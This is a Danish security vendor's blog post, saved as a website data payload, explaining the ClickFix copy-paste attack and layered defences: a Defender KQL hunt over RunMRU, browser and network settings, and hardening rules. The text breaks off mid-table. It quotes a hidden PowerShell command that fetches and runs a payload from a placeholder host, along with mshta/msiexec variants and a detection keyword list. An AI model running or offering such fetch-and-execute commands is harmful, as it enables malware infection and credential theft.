[{"data":1,"prerenderedAt":1663},["ShallowReactive",2],{"sc:header-data-da":3,"sc:footer-data-da":489,"post-da--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1087,"content-da-list-7b291c2dd91a4":1439,"authors_data:Fritz Zurhorst|Nadine Klein":1659},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"da":13},{"title":14,"url":15,"alt":16},"Forside","/da","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"da":21},{"title":22,"description":23},"Workplace","Intelligente, sikre og fleksible arbejdspladser bygget på Microsoft 365, der forener moderne teknologier og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"da":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"da":34},{"title":35,"url":36},"Managed Intune","/da/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"da":40},{"title":41,"url":42},"Managed Entra","/da/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"da":46},{"title":47,"url":48},"Managed Workplace","/da/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"da":52},{"title":53,"url":54},"Consulting Services","/da/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"da":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"da":64},{"title":65,"url":66},"Microsoft Entra Suite","/da/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"da":70},{"title":71,"url":72},"Microsoft Intune","/da/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"da":76},{"title":77,"url":78},"Microsoft Windows","/da/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"da":82},{"title":83,"url":84},"Windows 365 Cloud PC","/da/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"da":88},{"title":89,"url":90},"Cloud Workplace Foundation","/da/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"da":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"da":100},{"title":101,"url":102},"Microsoft 365 Copilot","/da/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"da":106},{"title":107,"url":108},"Teams","/da/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"da":112},{"title":113,"url":114},"SharePoint & Power Platform","/da/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"da":118},{"title":119,"url":120},"Exchange Online","/da/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"da":124},{"title":125,"url":126},"Information Protection & Compliance","/da/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"da":130},{"title":131,"description":132},"Azure","Sæt gang i væksten med Azure: skær ned på cloudomkostningerne, øg effektiviteten og driv innovationen med IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"da":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"da":142},{"title":143,"url":144},"Azure Managed Services","/da/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"da":148},{"title":149,"url":150},"Azure Consulting","/da/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"da":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"da":160},{"title":161,"url":162},"Planlæg din cloud","/da/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"da":166},{"title":167,"url":168},"Migrér til cloud","/da/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"da":172},{"title":173,"url":174},"Forny din forretning","/da/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"da":178},{"title":179,"url":180},"Gentænk din VMware-strategi","/da/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"da":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"da":190},{"title":191,"url":192},"Azure Foundation","/da/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"da":196},{"title":197,"url":198},"Azure AI Foundation","/da/azure/azure-ai-foundation",{"name":86,"languages":200},{"da":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"da":205},{"title":206,"url":207},"Azure Data Foundation","/da/azure/azure-data-foundation",{"name":188,"languages":209},{"da":210},{"title":211,"url":212},"Azure Container Foundation","/da/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"da":216},{"title":217,"url":218},"Managed Dark Tenant","/da/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"da":222},{"title":223,"url":224},"Cloud Adoption Framework","/da/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"da":228},{"title":229,"url":230},"Cloud Competence Center","/da/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"da":234},{"title":235,"description":236,"emergency":237},"Sikkerhed","Årvågenhed i clouden med en prisbelønnet 24/7 managed service, incident response og tidssvarende beskyttelse af din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Under angreb?","/da/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"da":249},{"title":250,"url":251},"Managed Red Tenant","/da/security/managed-red-tenant",{"name":214,"languages":253},{"da":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"da":259},{"title":260,"url":261},"Sentinel Data Lake","/da/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"da":265},{"title":266,"url":267},"Security Consulting","/da/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"da":274},{"title":275,"url":276},"Cloud Security Operations Center","/da/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"da":280},{"title":281,"url":282},"Global Secure Access","/da/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"da":286},{"title":287,"url":288},"MyWorkID","/da/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"da":295},{"title":296,"url":297},"Preventive Services","/da/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"da":301},{"title":302,"url":303},"Data Security Service","/da/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"da":307},{"title":308,"url":309},"Security Copilot Agents","/da/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"da":313},{"title":314,"url":315},"Implementering af NIS2","/da/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"da":319},{"title":320,"description":321},"Produkter","Companion-produkter til et gennemført sikkert, 100 % cloud-native Microsoft-miljø, der styrker samarbejdet, netværksautentificeringen og softwarehåndteringen.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"da":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloudbaseret softwaredistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"da":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution fra clouden",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"da":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbejd med dine lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"da":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrér dine data fra én server til en anden",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"da":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider til Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"da":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentificering til dit netværk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"da":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Find kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"da":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvågning i realtid",{"name":396,"languages":397},"casestudies",{"da":398},{"title":399,"url":400,"description":401},"Cases","/da/casestudies","Pioner i clouden: din Microsoft-partner til gennemarbejdede cloudløsninger med en blueprint-baseret tilgang og ekspertise i Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"da":405},{"title":406,"description":401},"Virksomhed",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"da":411},{"title":412},"Om os",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"da":417},{"title":418,"url":419},"Fakta og tal","/da/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"da":423},{"title":424,"url":425},"Kontakt og lokationer","/da/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"da":429},{"title":430,"url":431},"glueckkanja Schweiz","/da/company/switzerland",{"name":433,"languages":434},"austria",{"da":435},{"title":436,"url":437},"glueckkanja Østrig","/da/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"da":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"da":447},{"title":448,"url":449},"Karriereoversigt","/da/career",{"name":451,"languages":452},"company-young-professionals",{"da":453},{"title":454,"url":455},"Young Professionals","/da/young-professionals",{"name":457,"languages":458},"company-jobs",{"da":459},{"title":460,"url":461},"Ledige stillinger","/da/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"da":465},{"title":466},"Aktuelt",[468,474],{"name":469,"languages":470},"company-blog",{"da":471},{"title":472,"url":473},"Blog","/da/blog",{"name":469,"languages":475},{"da":476},{"title":477,"url":478},"Events","/da/events",[480],{"name":481,"languages":482},"career-meta",{"da":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"da":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksDa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privatlivspolitik","/da/privacy",{"title":514,"url":515},"Juridisk information","/da/imprint",{"title":517,"url":518},"Ingen cookies","/da/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1038,"hideInRecent":484,"layout":1039,"meta":1040,"moment":1044,"navigation":325,"path":1079,"seo":1080,"stem":1081,"tags":1082,"webcast":484,"__hash__":1086},"content_da/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brugeren er exploiten, og hvordan I stopper det",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1027},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,629,631,634,648,652,654,661,741,758,761,765,767,770,785,788,791,795,797,800,803,828,832,834,837,844,848,850,853,879,882,885,888,987,990,993,996,1007,1010,1014,1016,1023],[529,530,532],"h2",{"id":531},"clickfix-angrebskæden","ClickFix-angrebskæden",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFix er et angreb, hvor brugere bliver deres egen angriber. Ingen exploit, ingen sårbarhed. Offeret udfører selv skadekoden, med en enkelt copy-paste.",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"ClickFix-angrebskæden i fem trin: lokkemaden, tricket, copy-paste, udførelse, infektion.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"Lokkemaden er social engineering: et falsk CAPTCHA på en ondsindet side, en falsk supportbesked (\"din browser skal opdateres\"), en phishingmail eller en falsk mødeside. Mens offeret er på siden, skriver JavaScript payloaden ind i udklipsholderen via ",[551,552,553],"code",{},"clipboard.writeText()",". Derefter beder siden brugeren om at trykke Win+R, Ctrl+V og Enter. Kør-dialogen starter det, der ligger i udklipsholderen.",[534,556,557],{},"En typisk lokkemad ser sådan ud:",[534,559,560],{},[543,561],{"alt":562,"src":563},"Skærmbillede af en falsk CAPTCHA-lokkemad, der beder brugeren om at trykke Win og X, derefter indsætte og med Enter udføre en kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"Kommandoen, den lægger i udklipsholderen, ser sådan ud:",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"To ting sker samtidig. PowerShell starter i et skjult vindue (",[551,591,592],{},"-w h","), og ",[551,595,596],{},"iex(irm …)"," henter payloaden og udfører den direkte i hukommelsen. Intet lander på disken, så signaturbaseret antivirus har intet at scanne. Andet trin er som regel en infostealer (Lumma, Vidar, RedLine, StealC), en remote access-trojaner eller en ransomware-loader.",[534,599,600,601,603],{},"Det samme mønster i Microsoft Defender-telemetrien, en skjult PowerShell, startet fra Windows Terminal, der udfører ",[551,602,596],{},":",[534,605,606],{},[543,607],{"alt":608,"src":609},"Microsoft Defender-inspect record med proceskæden WindowsTerminal.exe til pwsh.exe til powershell.exe, som udfører en iex(irm …)-kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"Hvorfor det virker så godt: Alt kører i brugerkonteksten, uden forhøjede rettigheder. Cookies, gemte passwords og session-tokens ligger inden for rækkevidde af en standardbruger. Angriberen behøver ikke at eskalere rettigheder for at nå det, han kom efter.",[529,614,616],{"id":615},"hvad-microsoft-defender-opdager","Hvad Microsoft Defender opdager",[534,618,536],{},[534,620,621],{},"Microsoft har i de seneste måneder investeret meget i ClickFix-detektion. Hvis jeres Defender er sund og korrekt konfigureret, får I indbyggede detektioner for ClickFix-payloads. Siden Q2 2025 udsender MDE adfærdsbaserede alerts med titler som \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" eller \"An active 'Pacalau' malware in a command line was prevented from executing\". De affyres fra MDE-cloud-engine via analysen af proceskæden, parallelt med AV-detektionen og ofte et par sekunder tidligere.",[534,623,624],{},"Konfigurationen, der gør det muligt, står længere nede under hærdningen af udførelsen.",[529,626,628],{"id":627},"hvor-den-indbyggede-detektion-når-sine-grænser","Hvor den indbyggede detektion når sine grænser",[534,630,536],{},[534,632,633],{},"Cloudbaserede ML-signaturer skal bruge tid, før de udløser. Vi ser jævnligt et hul på over et minut mellem PowerShell-starten og Defender-alerten. En hurtigere payload glider igennem det vindue.",[534,635,636,637,639,640,643,644,647],{},"Angribere tilpasser sig desuden hurtigt. Byt ",[551,638,576],{}," ud med ",[551,641,642],{},"mshta http://..."," eller ",[551,645,646],{},"msiexec /i http://...",", begge klassiske LOLBins, og de PowerShell-specifikke detektioner virker ikke længere.",[529,649,651],{"id":650},"luk-hullet-et-runmru-hunt","Luk hullet: et RunMRU-hunt",[534,653,536],{},[534,655,656,657,660],{},"Det hul lukker vi med custom detections. Udgangspunktet er en KQL-forespørgsel mod registry-nøglen ",[551,658,659],{},"RunMRU",", der logger hver kommando, en bruger taster ind i Win+R-dialogen.",[568,662,663],{"style":570},[572,664,668],{"className":665,"code":666,"language":667,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,669,670,675,681,687,693,699,705,711,717,723,729,735],{"__ignoreMap":577},[581,671,672],{"class":583,"line":584},[581,673,674],{},"DeviceRegistryEvents\n",[581,676,678],{"class":583,"line":677},2,[581,679,680],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,682,684],{"class":583,"line":683},3,[581,685,686],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,688,690],{"class":583,"line":689},4,[581,691,692],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,694,696],{"class":583,"line":695},5,[581,697,698],{},"| where RegistryValueData has \" ✅ \"\n",[581,700,702],{"class":583,"line":701},6,[581,703,704],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,706,708],{"class":583,"line":707},7,[581,709,710],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,712,714],{"class":583,"line":713},8,[581,715,716],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,718,720],{"class":583,"line":719},9,[581,721,722],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,724,726],{"class":583,"line":725},10,[581,727,728],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,730,732],{"class":583,"line":731},11,[581,733,734],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,736,738],{"class":583,"line":737},12,[581,739,740],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,742,743,744,747,748,747,751,747,754,757],{},"Forespørgslen markerer hver Win+R-post, der ligner en ClickFix-kommando: PowerShell, mshta, curl eller msiexec sammen med typiske indikatorer som ",[551,745,746],{},"-w hidden",", ",[551,749,750],{},"iex",[551,752,753],{},"irm",[551,755,756],{},"DownloadString"," eller Base64-kodede payloads. Den fanger også de subtile tricks. Det grønne flueben-emoji, som mange falske CAPTCHA-lokkemader sætter foran kommandoen. Unicode-tegn fra kyrilliske, arabiske eller thailandske områder, som angribere bruger til at camouflere tekst og omgå simple strengfiltre. Dukker et af disse mønstre op i en Win+R-post, er der med stor sandsynlighed et ClickFix-angreb i gang.",[534,759,760],{},"For vores CSOC-kunder driver vi disse og flere custom detections for at lukke hullet mellem nye angrebsteknikker og den indbyggede detektion.",[529,762,764],{"id":763},"beskyttelseslag-1-blokér-leveringen","Beskyttelseslag 1: blokér leveringen",[534,766,536],{},[534,768,769],{},"Nu til forebyggelsen. ClickFix er udbredt og effektivt, så en enkelt beskyttelse rækker ikke. Vi arbejder i lag, fra leveringen til udførelsen.",[534,771,772,773,776,777,780,781,784],{},"Network Protection blokerer kendte delivery-domæner og C2-servere for alle browsere. MDE Web Content Filtering supplerer med kategorier som \"Newly registered domains\", \"Hacking\" og \"Illegal Software\". Network Protection er indbygget i Windows, men for tredjepartsbrowsere skal I deaktivere QUIC og ECH, fordi begge krypterer hele forbindelsen og skjuler måldomænet. Deaktivér QUIC i Chrome og Firefox via enterprise-policy (",[551,774,775],{},"QuicAllowed = Disabled"," i Chrome, ",[551,778,779],{},"network.http.http3.enable = false"," i Firefox); for ECH sætter I i Chrome ",[551,782,783],{},"EncryptedClientHelloEnabled = Disabled",".",[534,786,787],{},"Til Edge aktiverer I SmartScreen. Til tredjepartsbrowsere slår I deres indbyggede Safe Browsing til. Det er ikke det samme som Network Protection, men hjælper med at filtrere skadelige sider fra. For mailvektoren kontrollerer Safe Links og Safe Attachments links og vedhæftninger, før brugerne interagerer med dem.",[534,789,790],{},"Hagen: Alt det virker kun mod kendt infrastruktur. Aktuelle ClickFix-kampagner kører over nyregistreret infrastruktur, der bliver identificeret og blokeret for sent, og nogle gange over legitime sider, som en angriber har kompromitteret. Så lad os se på, hvad der beskytter, efter at lokkemaden er leveret.",[529,792,794],{"id":793},"beskyttelseslag-2-blokér-tricket","Beskyttelseslag 2: blokér tricket",[534,796,536],{},[534,798,799],{},"Et par Edge-funktioner hæver barren, mens brugeren er på en ondsindet side. Governance af browser-extensions forhindrer, at brugere installerer ondsindede eller kompromitterede udvidelser, der indsætter ClickFix-overlays eller selv manipulerer udklipsholderen. Edge Enhanced Security Mode lægger strengere beskyttelsesforanstaltninger på ukendte og sjældent besøgte sider (JIT deaktiveret, Control Flow Guard, hardwareunderstøttet stack-beskyttelse), hvad der gør exploitbaserede browserovertagelser markant sværere. Typo Protection advarer mod typosquattede domæner (micros0ft.com, paypa1.com) og blokerer en udbredt ClickFix-delivery-vektor via forfalskede branddomæner.",[534,801,802],{},"Tekniske kontroller er kun halvdelen af arbejdet. Oplysning af brugerne er fortsat afgørende. Den ene regel, der bærer det meste: Hvis en webside beder dig om at indsætte noget i din computer, er det et angreb. Gør det konkret i awareness-træningen:",[804,805,807,808,807,816,807,822],"ul",{"style":806},"margin: 0.25rem 0","\n  ",[809,810,811,815],"li",{},[812,813,814],"strong",{},"Vis ægte lokkemader:"," falske \"Verify you are human\"-checkbokse, \"din browser skal opdateres\", \"dokumentet kunne ikke renderes, kør dette fix\", ødelagte Teams- eller Zoom-lydprompter.",[809,817,818,821],{},[812,819,820],{},"Demonstrér clipboard-tricket:"," vis, hvordan siden i stilhed overskriver udklipsholderen.",[809,823,824,827],{},[812,825,826],{},"Gør det let at anmelde:"," hurtigt og uden skyldplacering.",[529,829,831],{"id":830},"beskyttelseslag-3-blokér-handlingen","Beskyttelseslag 3: blokér handlingen",[534,833,536],{},[534,835,836],{},"Her er der et par muligheder for at hærde systemet, ingen af dem er en garanti. Start med at deaktivere Kør-dialogen, det fjerner Win+R-indgangspunktet. Microsofts ClickFix-guidance anbefaler at deaktivere den \"where it isn't necessary\". Det lukker det specifikke Win+R-paste-angreb, men alternative startflader består, for eksempel Explorer-adresselinjen og Windows Terminal.",[534,838,839,840,843],{},"I kan desuden hærde Edge med ",[551,841,842],{},"DefaultClipboardSetting",", som forhindrer, at JavaScript skriver i udklipsholderen i stilhed.",[529,845,847],{"id":846},"beskyttelseslag-4-blokér-udførelsen","Beskyttelseslag 4: blokér udførelsen",[534,849,536],{},[534,851,852],{},"Før de avancerede funktioner skal grundlaget være i orden. For ClickFix betyder det:",[804,854,807,855,807,861,807,867,807,873],{"style":806},[809,856,857,860],{},[812,858,859],{},"Local Admin Reduction:"," fjern lokale administratorrettigheder fra slutbrugere, hvor det er muligt, for at begrænse effekten af en kodeudførelse.",[809,862,863,866],{},[812,864,865],{},"Endpoint Privilege Management (EPM):"," lad brugerne arbejde som standardbrugere, og elevér kun godkendte apps via policy-regler.",[809,868,869,872],{},[812,870,871],{},"UAC-hærdning:"," kontrollér secure desktop-enforcement, promptadfærd for admins og standardbrugere samt installer-detektion.",[809,874,875,878],{},[812,876,877],{},"Credential Guard:"," isolér NTLM-hashes, Kerberos-billetter og andet credential-materiale via virtualiseringsbaseret sikkerhed, så credential-tyveri forbliver svært, selv hvis en angriber opnår administratorrettigheder.",[534,880,881],{},"De kontroller reducerer eskaleringsmuligheder, beskytter credentials og håndhæver least privilege. Grænsen ved det: De begrænser, hvad der sker efter en kompromittering. De forhindrer ikke en infostealer i standardbrugerkonteksten i at læse cookies, session-tokens og app-credential-stores, som brugeren kan læse.",[534,883,884],{},"Så Microsoft Defender. Defender AV kan opdage andet trins payload, men kun med de rigtige indstillinger: slå Cloud Protection til, og sæt beskyttelsesniveauet til High eller High+. AMSI, Antimalware Scan Interface, lader applikationer overdrage indhold til Defender til kontrol under kørslen, efter at det er dekrypteret eller deobfuskeret i hukommelsen, men før det udføres. PowerShell bruger AMSI til at identificere skadekode, og AMSI kræver realtidsbeskyttelse og behavior monitoring.",[534,886,887],{},"Mindst fem Attack Surface Reduction-regler er relevante mod ClickFix:",[568,889,891],{"style":890},"margin: 0.5rem 0 2rem; overflow-x: auto",[892,893,807,895,807,914],"table",{"style":894},"width:100%; border-collapse: collapse; font-size: 0.85rem",[896,897,898,899,807],"thead",{},"\n    ",[900,901,902,903,902,908,902,911,898],"tr",{},"\n      ",[904,905,907],"th",{"style":906},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regel",[904,909,910],{"style":906},"GUID",[904,912,913],{"style":906},"ClickFix-relevans",[915,916,898,917,898,933,898,948,898,961,898,974,807],"tbody",{},[900,918,902,919,902,924,902,930,898],{},[920,921,923],"td",{"style":922},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Blokér udførelse af potentielt slørede scripts",[920,925,927],{"style":926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,928,929],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[920,931,932],{"style":922},"Slørede eller kodede scripts i udførelses- og evasion-fasen",[900,934,902,935,902,939,902,945,898],{},[920,936,938],{"style":937},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Forhindr JavaScript eller VBScript i at starte hentet eksekverbart indhold",[920,940,942],{"style":941},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[551,943,944],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[920,946,947],{"style":937},"WSH, .js eller .vbs, der starter hentede payloads",[900,949,902,950,902,953,902,958,898],{},[920,951,952],{"style":922},"Tillad kun eksekverbare filer ud fra kriterier om prævalens, alder eller trusted list",[920,954,955],{"style":926},[551,956,957],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[920,959,960],{"style":922},"Nye eller sjældne afleverede executables",[900,962,902,963,902,966,902,971,898],{},[920,964,965],{"style":937},"Blokér eksekverbart indhold fra e-mailklient og webmail",[920,967,968],{"style":941},[551,969,970],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[920,972,973],{"style":937},"ClickFix-varianter leveret via e-mail",[900,975,902,976,902,979,902,984,898],{},[920,977,978],{"style":922},"Forhindr 